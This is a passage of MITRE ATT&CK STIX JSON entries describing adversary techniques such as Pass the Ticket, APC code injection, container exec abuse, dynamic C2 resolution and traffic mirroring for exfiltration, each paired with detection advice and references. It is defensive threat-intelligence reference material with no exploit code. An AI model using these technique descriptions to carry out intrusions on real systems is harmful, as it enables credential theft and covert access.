2017.","url":"https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"},{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"GlobalDotName Jun 2019","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T13:22:11.113Z","name":"Virtual Private Server","description":"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Internet Scan: Response Content","Internet Scan: Response Metadata"],"type":"attack-pattern","id":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","created":"2020-10-01T00:44:23.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/003","external_id":"T1583.003"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"},{"source_name":"TrendmicroHideoutsLease","description":"Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.","url":"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-30T13:45:42.840Z","name":"Confluence","description":"\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","created":"2020-02-14T13:09:51.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213/001","external_id":"T1213.001"},{"source_name":"Atlassian Confluence Logging","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:21:09.330Z","name":"Pass the Ticket","description":"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Vincent Le Toux","Ryan Becwar"],"x_mitre_deprecated":false,"x_mitre_detection":"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Creation","Active Directory: Active Directory Credential Request"],"x_mitre_defense_bypassed":["System Access Controls"],"x_mitre_system_requirements":["Kerberos authentication enabled"],"type":"attack-pattern","id":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","created":"2020-01-30T17:03:43.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1550/003","external_id":"T1550.003"},{"source_name":"CERT-EU Golden Ticket Protection","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"},{"source_name":"Campbell 2014","description":"Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.","url":"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"},{"source_name":"GentilKiwi Pass the Ticket","description":"Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"},{"source_name":"ADSecurity AD Kerberos Attacks","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","url":"https://adsecurity.org/?p=556"},{"source_name":"Stealthbits Overpass-the-Hash","description":"Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.","url":"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:25:45.507Z","name":"Container Administration Command","description":"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Brad Geesaman, @bradgeesaman","Center for Threat-Informed Defense (CTID)","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","created":"2021-03-29T16:39:26.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1609","external_id":"T1609"},{"source_name":"Docker Exec","description":"Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/reference/commandline/exec/"},{"source_name":"Docker Entrypoint","description":"Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"},{"source_name":"Docker Daemon CLI","description":"Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/reference/commandline/dockerd/"},{"source_name":"Kubectl Exec Get Shell","description":"The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"},{"source_name":"Kubernetes Kubelet","description":"The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"},{"source_name":"Kubernetes API","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:40:10.978Z","name":"File and Directory Discovery","description":"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.6","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","created":"2017-05-31T21:31:04.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1083","external_id":"T1083"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Chris Roffe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","type":"attack-pattern","created":"2020-03-10T17:28:11.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568","url":"https://attack.mitre.org/techniques/T1568"},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"},{"source_name":"ESET Sednit 2017 Activity","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."},{"source_name":"Data Driven Security DGA","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."}],"modified":"2022-03-11T18:26:23.782Z","name":"Dynamic Resolution","description":"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-09-29T20:30:58.300Z","name":"Masquerade Task or Service","description":"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Scheduled Job: Scheduled Job Modification","Service: Service Creation","Command: Command Execution","Service: Service Metadata","Scheduled Job: Scheduled Job Metadata"],"type":"attack-pattern","id":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","created":"2020-02-10T20:30:07.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/004","external_id":"T1036.004"},{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"Systemd Service Units","description":"Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.","url":"https://www.freedesktop.org/software/systemd/man/systemd.service.html"},{"source_name":"TechNet Schtasks","description":"Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490996.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","type":"attack-pattern","created":"2020-01-14T01:29:43.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.004","url":"https://attack.mitre.org/techniques/T1055/004"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx","description":"Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.","source_name":"Microsoft APC"},{"url":"https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/","description":"Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.","source_name":"CyberBit Early Bird Apr 2018"},{"url":"https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows","description":"Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.","source_name":"ENSIL AtomBombing Oct 2016"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx","description":"Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.","source_name":"Microsoft Atom Table"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:23:46.476Z","name":"Asynchronous Procedure Call","description":"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Access","Process: Process Modification"],"x_mitre_defense_bypassed":["Application control","Anti-virus"]},{"modified":"2024-10-15T16:08:13.273Z","name":"Traffic Duplication","description":"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Network","IaaS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","created":"2020-10-19T13:40:11.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1020/001","external_id":"T1020.001"},{"source_name":"AWS Traffic Mirroring","description":"Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.","url":"https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"},{"source_name":"Cisco Traffic Mirroring","description":"Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.","url":"https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"},{"source_name":"GCP Packet Mirroring","description":"Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.","url":"https://cloud.google.com/vpc/docs/packet-mirroring"},{"source_name":"Juniper Traffic Mirroring","description":"Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.","url":"https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"},{"source_name":"Azure Virtual Network TAP","description":"Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.","url":"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"},{"source_name":"Cisco Blog Legacy Device Attacks","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 